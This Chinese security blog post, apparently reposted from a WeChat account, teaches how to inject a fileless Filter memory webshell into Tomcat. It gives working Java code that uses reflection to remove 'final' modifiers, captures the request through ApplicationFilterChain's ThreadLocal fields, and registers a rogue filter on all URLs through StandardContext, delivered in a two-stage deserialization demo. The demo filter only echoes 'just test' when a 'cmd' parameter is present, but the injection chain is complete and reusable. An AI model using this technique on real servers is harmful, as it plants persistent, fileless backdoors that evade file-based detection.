Tomcat学习之无文件Filter内存shell

  • A+
所属分类:安全文章

0x01 前言


在前一篇,我已经把常规的Filter内存shell给调试分析了一遍,相信大家通过前一篇文章,已经对内存shell有了一定的认知和了解。不过上一篇并非是完美的内存shell,因为需要我们上传一个jsp文件,然后访问写入内存shell,这样就不太符合无文件shell的思想了,所以本篇我们就来分析下无文件的情况下我们该如何写入内存shell。


0x02 Filter调试分析


01 必备预习知识点


在将Filter无文件内存马实现之前,我们先来巩固几个小知识点,辅助我们理解后面的内容。

首先,我们来说一下修饰符的问题,已知有如下代码,如图

Tomcat学习之无文件Filter内存shell


可以看到是一个普通的类,类中有一个实例变量,修饰符为private static,现在我提一个要求,需要通过反射获取,并且修改name属性的值,这个应该不难吧,是不是张口就来,如图

Tomcat学习之无文件Filter内存shell


确实,对于有基础的同学来说,没什么压力。但是现在我们改要求了,我需要你们修改User类的代码,如图

Tomcat学习之无文件Filter内存shell


然后还是按照上面的要求,反射修改name属性的值,很多童鞋是不是又张口就来了?把代码在运行一遍看看,看返回结果如图

Tomcat学习之无文件Filter内存shell


咦?这是咋回事,咋和预期结果不一样了呢。


其实答案也很简单,因为在Java中,对于基本类型的变量使用final修饰,它的值是恒定不变的,即使通过setAccessible(true)之后也是无法修改的。那我们应该怎么修改final变量的值呢?


既然final变量不能修改,那么我们就将变量的类型修改掉,当变量类型不为final之后,不就可以修改变量的值了吗。这里要说一下Field类,Field类中有一个属性叫做modifiers,该属性是用来表示反射获取到的变量时使用什么修饰符修饰的,例如:PUBLIC、STATIC、FINAL等等。


如果我们想修改属性的修饰符,那么就需要先获取到Field属性本身的modifiers变量,然后通过修改该变量的值,来修改final修饰符为其他值,从而绕过final修饰限制,修改变量的值,这里要修改的就是name属性的值。


代码也不是很复杂,我贴出来

public class FinalTest {
public static void main(String[] args) throws Exception {
Field f = User.class.getDeclaredField("name");
Field modifiers = f.getClass().getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(f, -18);
f.setAccessible(true);
f.set(null, "chabao");
Object name = f.get(null);
System.out.println(name);
}
}

class User{

private static final String name = "123";
}


运行后如图

Tomcat学习之无文件Filter内存shell


可以看到值已经被成功修改了。


讲完修饰符的问题之后,我们就要将另一个话题了,有基础的童鞋可以跳过,我要讲的时程序运行时,动态修改数据的问题。为了能表达清楚,我特地写了一个线程的测试案例,如下

public class RuntimeDemo {

public static void main(String[] args) {
new Thread(new Runnable() {
@Override
public void run() {
Field f = null;
Object name = null;
for (int i = 0; i < 20; i++) {
try {
if(i == 10) {
f = Person.class.getDeclaredField("name");
f.setAccessible(true);
f.set(null, "changed...");
name = f.get(null);
}
f = Person.class.getDeclaredField("name");
f.setAccessible(true);
name = f.get(null);
System.out.println(name);
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
}
}).start();
}
}

class Person {
private static String name = "test";
}


这段代码的主要意思就是在一个线程里获取name属性的值,然后当循环到第10次的时候,动态修改name的值,继续输出,运行如图

Tomcat学习之无文件Filter内存shell


可以看到在程序运行时改变了name属性的值,这里修改的时同一个Person对象的属性值,这个概念很重要!是同一个对象,而不是另外创建的一个对象。


02 Filter调试分析


这里我主要分析重点位置,因为其他的和上一篇文章的内容是差不多的。首先我们要搞清楚为什么需要Request以及Response对象,在上一篇文章中,我们是通过jsp文件的方式获取Request对象的,然后通过Request对象来一步步反射,从而得到StandardContext对象,来添加我们的过滤器。


思路其实是和上一篇文章的思路差不多的,还是通过Request对象来一步步反射获得StandardContext对象,添加filter,但是我们却不能像上一篇文章一样直接通过jsp文件获取内置Request对象,因为我们写入的是无文件的shell,你都没有落地文件,怎么还可能通过jsp来获取Request呢。


所以这个时候我们就可以知道我们的第一步需求是什么了,那就是先获取Request,主要就是在Request,Response在过滤器链执行的时候是会获取到的。有了Request对象之后,我们才能重复上一篇的步骤,来写入自己的过滤器。


如何获取Request对象,我们先看如下代码,如图

Tomcat学习之无文件Filter内存shell


之前分析过,程序每次执行时,都会重新创建一遍Filter过滤器链,会经过一些方法,重复的部分我就不做分析了,主要分析org.apache.catalina.core.ApplicationFilterChain#internalDoFilter方法,在if (ApplicationDispatcher.WRAP_SAME_OBJECT) 方法处打上断点,每次Request请求进来都会经过该方法。


这里的逻辑是,当ApplicationDispatcher.WRAP_SAME_OBJECT 为true时,就将lastServicedRequest和lastServicedResponse设置相应的值,也就是当前请求的Request以及Response对象。我们来看一下这两个变量是什么类型的,如图

Tomcat学习之无文件Filter内存shell



可以看到,两个变量都是 private static final 修饰的 ThreadLocal 类型变量,看到前面的修饰符是不是很熟悉?这就是我们前面预习知识里面讲到的,如果要修改该变量值的话,就是用前面的方法反射修改即可。再来说说ThreadLocal类型,它提供线程本地变量,如果创建一个ThreadLocal变量,那么访问这个变量的每个线程都会有这个变量的一个副本,在实际多线程操作的时候,操作的是自己本地内存中的变量,从而规避了线程安全问题。说白话一点就是,不同线程共享一个变量A,在B线程中修改A变量的值,并不会影响C线程中A变量的值,因为两个线程本地内存中都有一个A变量。


为什么要说这两个变量呢?是因为,当Request和Response被存入到ThreadLocal中后,这时就被存储在本地内存中了,当下次访问时,可以直接通过get方法将变量的值取出来,如果我们可以将Request对象先存入线程中,下次取出来就可以使用了,有了Request对象之后,那不就是可以进行常规的写入filter操作了吗!


ApplicationFilterChain类可以看到,如果要将Request和Response对象存进去,我们需要先满足ApplicationDispatcher.WRAP_SAME_OBJECT 为true才行,该变量默认是为false的,上图已知,其实也不难,我们可以直接通过反射修改该变量的值,先来看看该变量是什么类型,如图

Tomcat学习之无文件Filter内存shell



可以看到修饰符为static final ,参照前面的方法即可反射修改,然后关于获取类对象的方法,由于该类没有使用public修饰,所以为默认修饰,只能在同一个包中才能访问使用,如果在不同包中想要使用的话,可以通过Class.forName("org.apache.catalina.core.ApplicationDispatcher"),来加载获取类对象。


通过上面分析可知,我们需要执行两次操作,因为第一次ApplicationDispatcher.WRAP_SAME_OBJECT是为false的,我们是先执行了org.apache.catalina.core.ApplicationFilterChain#internalDoFilter方法然后才执行的修改操作,所以第一次并不能直接插入filter,第一步主要做的是就是修改ApplicationDispatcher.WRAP_SAME_OBJECT的值为true,然后将lastServicedRequest 和 lastServicedResponse 初始化,这样第二次操作的时候,就能保证两个ThreadLocal里面是空的了,然后将Request和Response存进去就方便获取了。


0x03 编写自己的内存马


代码也不是很难写,常规的反射操作,就是因为是final修饰符,所以都多了几步,如图

Tomcat学习之无文件Filter内存shell


第二步,就是要从当前线程中的ThreadLocal中获取Request对象,然后进行filter添加,步骤和上一篇文章差异不大,如下

String name = "chabao";
// 1. 获取ServletContext对象
Field f = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal obj = (ThreadLocal) f.get(null);
HttpServletRequest request = null;
if(f != null) {

request = (HttpServletRequest)obj.get();
}
ServletContext servletContext = request.getSession().getServletContext();

// 2. 获取StandardContext对象
// 2.1 获取applicationContext对象
f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext) f.get(servletContext);

// 2.2 获取StandardContext对象
f = appCtx.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContext standCtx = (StandardContext) f.get(appCtx);

// 获取filterConfigs对象
f = standCtx.getClass().getDeclaredField("filterConfigs");
f.setAccessible(true);
Map filterConfigs = (Map) f.get(standCtx);

// 2.3 创建一个filter对象
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException, IOException {
if(servletRequest.getParameter("cmd") != null) {
servletResponse.getWriter().write("just test");
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}
};

// 4. 创建FilterDef对象
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);

standCtx.addFilterDef(filterDef);

// 3. 创建filterMap对象
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.addURLPattern("/*");

// 3.1 将filterMap对象添加到StandardContext对象中
standCtx.addFilterMapBefore(filterMap);

// 5. 创建一个ApplicationfilterConfig对象
Constructor c = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
c.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) c.newInstance(standCtx, filterDef);

// 6. 将名称和对应的applicationFilterConfig添加到filterConfigs中
filterConfigs.put(name, applicationFilterConfig);


这里我是使用服务端反序列化来模拟攻击过程,和使用cc链是一样的性质,先是将步骤一的代码写入到一个类的toString方法中,然后将该类序列化写入到文件中,如图

Tomcat学习之无文件Filter内存shell



然后将第二步操作也写在tostring方法里,再序列化写入到文件中,如图

Tomcat学习之无文件Filter内存shell



写到toString方法中只是为了反序列化演示时方便一点,因为反序列化默认返回的是Object方法,两个类都重写了toString方法,反序列化后直接调用Object对象的toString方法即可触发自定义的操作方法。


服务端如图

Tomcat学习之无文件Filter内存shell



服务端是通过读取文件反序列化,来模拟cc链的反序列化触发操作。然后启动tomcat服务器,访问该servlet接口,分两次输入反序列化的文件,如图

Tomcat学习之无文件Filter内存shell

Tomcat学习之无文件Filter内存shell



然后来试试filter有没有写入成功,如图

Tomcat学习之无文件Filter内存shell



可以看到成功写入自定义的filter,而且也无需写入jsp文件执行。到这里分析也就告一段落了,如果有什么问题或者意见,欢迎私聊一起交流。😄


0x04 总结


由于入手点就是直接以tomcat为前提,研究的filter内存马,可能没有涉及到其他知识点,内存马的种类还是比较多的,不止是这一种,后续有时间会慢慢研究的,一起学习,一起进步。


0x05 借鉴文章


基于tomcat的内存 Webshell 无文件攻击技术(https://xz.aliyun.com/t/7388#toc-1)


本文始发于微信公众号(伟盾网络安全):Tomcat学习之无文件Filter内存shell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: